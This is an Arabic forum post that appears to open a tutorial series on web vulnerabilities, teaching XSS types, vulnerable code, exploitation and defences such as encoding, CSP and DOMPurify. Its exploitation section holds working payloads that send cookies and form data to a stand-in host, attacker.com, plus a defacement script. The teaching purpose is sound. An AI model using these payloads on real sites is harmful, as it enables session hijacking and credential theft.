فهم ثغرات الويب وثغرة XSS الدرس الاول

[codeNET]-826FA7A3-4209-430A-BB80-EE4E1BA0CD9A.webp
الحلقة الافتتاحية + الدرس الأول: فهم ثغرات الويب وثغرة XSS

مقدمة السلسلة

انطلاقاً من الحاجة الملحّة لفهم أعمق لآليات الهجمات السيبرانية الحديثة، نُطلق اليوم سلسلة دروس تطبيقية جديدة موجّهة للمطوّرين، ومسؤولي الأنظمة، والمهتمين بالأمن السيبراني بمختلف مستوياتهم. هذه السلسلة لن تكون مجرد شرح نظري، بل منهج متدرّج يبدأ من الأساسيات ويصل إلى المستوى المتقدم، مع أمثلة عملية، وأكواد حقيقية، وسبل حماية قابلة للتطبيق مباشرة في مشاريعك.

فلسفة السلسلة

تعتمد السلسلة على ثلاثة مبادئ أساسية:

  1. الفهم قبل الحفظ: لكل ثغرة منطق داخلي يجب فهمه أولاً قبل حفظ أوامر الاستغلال.
  2. الهجوم لفهم الدفاع: لا يمكنك بناء حماية فعّالة دون أن تعرف كيف يفكّر المهاجم.
  3. التطبيق الفوري: كل درس يُرفق بأمثلة على بيئات اختبار محلية (Local Labs) لتجربتها بأمان.

خريطة الطريق (Roadmap)

  • الحلقة 1: مقدمة في ثغرات الويب + XSS — المستوى: مبتدئ.
  • الحلقة 2: SQL Injection (أنواعها وتجاوزها) — المستوى: مبتدئ إلى متوسط.
  • الحلقة 3: Command Injection و Remote Code Execution — المستوى: متوسط.
  • الحلقة 4: CSRF و SSRF و IDOR — المستوى: متوسط.
  • الحلقة 5: File Upload و Local/Remote File Inclusion — المستوى: متوسط.
  • الحلقة 6: ثغرات المصادقة و JWT و Session Hijacking — المستوى: متوسط إلى متقدم.
  • الحلقة 7: Server-Side Template Injection (SSTI) — المستوى: متقدم.
  • الحلقة 8: Deserialization Attacks — المستوى: متقدم.
  • الحلقة 9: WAF Bypass وتقنيات التهريب (Request Smuggling) — المستوى: متقدم.
  • الحلقة 10: بناء مختبر شخصي (Home Lab) واختبار الاختراق الأخلاقي — المستوى: ختامي.



الحلقة الأولى: لماذا نحتاج إلى فهم ثغرات الويب؟

قبل الحديث عن XSS تحديداً، لا بد من وضع إطار عام. ثغرات الويب ليست عيوباً معزولة، بل نتيجة مباشرة لفشل في التعامل مع بيانات المستخدم. كل ثغرة تقريباً تندرج تحت أحد الأسباب التالية:

  • عدم التحقق من المدخلات (Input Validation): الثقة بكل ما يأتي من المستخدم.
  • عدم ترميز المخرجات (Output Encoding): طباعة البيانات داخل السياق الخطأ.
  • الاعتماد على الحماية من جهة العميل فقط (Client-Side Trust): إخفاء الحماية في JavaScript مع ترك الخادم مكشوفاً.
  • أخطاء منطقية في التصميم (Business Logic Flaws): إجراءات حساسة بدون تحقق كافٍ من الصلاحيات.

وفق تصنيف OWASP Top 10 لعام 2021، تُصنّف هذه الأنواع تحت فئات مثل Injection و Broken Access Control و Cryptographic Failures، وهي لا تزال في صدارة المخاطر رغم مرور سنوات على اكتشافها.



الدرس الأول: XSS — Cross-Site Scripting

ما هي ثغرة XSS؟

XSS هي ثغرة تسمح للمهاجم بحقن كود JavaScript ضار داخل صفحة ويب يشاهدها المستخدمون الآخرون. عندما يُنفَّذ هذا الكود في متصفح الضحية، يعمل بصلاحيات الموقع نفسه، ما يعني إمكانية:

  • سرقة ملفات تعريف الارتباط (Cookies) وجلسات الدخول.
  • سرقة بيانات النماذج (كلمات المرور، أرقام البطاقات).
  • إعادة توجيه الضحية إلى مواقع تصيّد.
  • تنفيذ إجراءات نيابة عن المستخدم دون علمه.

أنواع XSS الثلاثة

1. Reflected XSS (الانعكاسي)

يحدث عندما يُدرج المهاجم كوداً ضاراً في طلب واحد، فيقوم الخادم بإرجاعه فوراً داخل الاستجابة دون تخزين. يعتمد على إقناع الضحية بالضغط على رابط يحمل الحمولة.

مثال على كود مصاب في PHP:

كود: 
<?php
$name = $_GET['name'];
echo "مرحباً " . $name;
?>

الطلب العادي: ?name=أحمد ← يظهر: "مرحباً أحمد".

الطلب الخبيث: ?name=<script>alert('XSS')</script> ← المتصفح ينفّذ السكريبت.

2. Stored XSS (المخزّن)

الأخطر بين الأنواع، حيث يُخزَّن كود المهاجم في قاعدة البيانات (تعليق، رسالة، اسم مستخدم...)، ثم يظهر لكل من يزور الصفحة. يصيب كل الزوار دون الحاجة إلى رابط خاص.

مثال: صندوق تعليقات لا يُعقّم المدخلات، فيكتب المهاجم تعليقاً يحتوي:

كود: 
<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>

كل من يفتح الصفحة، يُرسل لهذا المهاجم ملف تعريف ارتباطه تلقائياً.

3. DOM-based XSS (المبني على DOM)

لا يمر الكود عبر الخادم إطلاقاً؛ يحدث بالكامل في المتصفح نتيجة تعامل JavaScript مع مدخلات المستخدم بشكل غير آمن.

مثال على كود مصاب:

كود: 
var name = new URLSearchParams(window.location.search).get("name");
document.getElementById("welcome").innerHTML = name;

استخدام innerHTML مع بيانات غير موثوقة يفتح الباب لتنفيذ كود.

الطلب: ?name=<img src=x onerror=alert(1)> ← تُنفَّذ الحمولة فوراً.



كيف تُستغل XSS عملياً؟

السيناريو الأول: سرقة الكوكيز

كود: 
<script>
  new Image().src = "https://attacker.com/log?cookie=" + encodeURIComponent(document.cookie);
</script>

السيناريو الثاني: استبدال محتوى الصفحة (Defacement)

كود: 
<script>document.body.innerHTML = "<h1>تم اختراق الموقع!</h1>";</script>

السيناريو الثالث: اعتراض النماذج (Form Hijacking)

كود: 
<script>
document.querySelector("form").addEventListener("submit", function(e){
  fetch("https://attacker.com/capture", {
    method: "POST",
    body: new FormData(this)
  });
});
</script>



كيف نحمي أنفسنا من XSS؟

الحماية تتطلب ثلاثة مستويات متكاملة:

1. ترميز المخرجات (Output Encoding)

القاعدة الذهبية: لا تثق أبداً بأي بيانات تُعرض في الصفحة. استخدم دوال الترميز المناسبة للسياق:

  • سياق HTML: htmlspecialchars() في PHP، أو escapeHtml() في JavaScript.
  • سياق JavaScript: تحويل خاص لـ </script> وعلامات الاقتباس.
  • سياق URL: urlencode().
  • سياق CSS: ترميز خاص يمنع الخروج من سياق النمط.

مثال في PHP:

كود: 
echo "مرحباً " . htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');

الآن <script> تُصبح &lt;script&gt; وتظهر كنص عادي، لا كأمر.

2. رؤوس الأمان (Security Headers)

  • Content-Security-Policy (CSP): يقيّد المصادر التي يُسمح بتحميل السكريبتات منها.
  • X-XSS-Protection: للحماية القديمة في المتصفحات (مهمَل جزئياً الآن).
  • HttpOnly Cookie: يمنع JavaScript من الوصول إلى الكوكي حتى لو حدث XSS.

مثال على CSP:

كود: 
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com

3. تعقيم المدخلات (Sanitization)

استخدام مكتبات متخصصة مثل DOMPurify في JavaScript لتنظيف HTML المولّد من المستخدم:

كود: 
import DOMPurify from 'dompurify';
document.getElementById("content").innerHTML = DOMPurify.sanitize(userInput);



تمرين عملي للدرس

أنشئ ملف xss-test.html على جهازك، وضع فيه:

كود: 
<!DOCTYPE html>
<html>
<body>
  <h2>اختبار XSS الآمن</h2>
  <input type="text" id="name" placeholder="اكتب اسمك">
  <button onclick="render()">عرض</button>
  <div id="output"></div>

  <script>
    function render() {
      const input = document.getElementById("name").value;
      // جرب استخدام innerHTML بدلاً من textContent لملاحظة الفرق
      document.getElementById("output").textContent = "مرحباً " + input;
    }
  </script>
</body>
</html>

جرّب إدخال: <script>alert('XSS')</script>

  • مع textContent ← يظهر النص حرفياً، لا تنفيذ.
  • استبدلها بـ innerHTML ← سيُفتح alert، وهذا يوضح الفرق الجوهري بين الوصول الآمن والخطر للـ DOM.



معاينة الدرس القادم

في الحلقة الثانية، سنغوص في SQL Injection — كيف يفكّر المهاجم عند مواجهة حقل بحث أو نموذج تسجيل دخول، وكيف يمكن استغلال خطأ واحد في بناء الاستعلام لاستخراج قاعدة بيانات كاملة أو تجاوز المصادقة. سنتناول:

  • الأنواع الثلاثة: In-band و Blind و Out-of-band.
  • تقنيات UNION-based والاستعلامات المتداخلة.
  • الاستعدادات المناعية: Prepared Statements و ORM.
  • مختبر عملي على بيئة DVWA و SQLi Labs.



خلاصة الحلقة الأولى

  • ثغرات الويب تُنتج غالباً من غياب التحقق من المدخلات، وعدم ترميز المخرجات، والاعتماد الأعمى على حماية جهة العميل.
  • XSS ثلاثة أنواع: Reflected و Stored و DOM-based، وكلها تتشارك في جذر واحد: تنفيذ كود غير موثوق في سياق مستخدم آخر.
  • الحماية طبقات: ترميز المخرجات + CSP + HttpOnly + تعقيم مدخلات HTML.

الدرس القادم يحمل مفاجأة عملية؛ ابدأ من الآن ببناء بيئتك المحلية باستخدام XAMPP أو Docker، لأن الدروس التطبيقية ستكون الجزء الأهم من هذه السلسلة.



إن كانت لديك ثغرة محددة ترغب في تخصيص درس كامل لها، أو سيناريو تطبيقي تريد أن نبنيه معاً، فاتركه في التعليقات، فالسلسلة تبنى بكم وإليكم.
 
أنقر للتوسيع...
يجب تسجيل الدخول أو التسجيل كي تتمكن من الرد هنا.
عودة
أعلى أسفل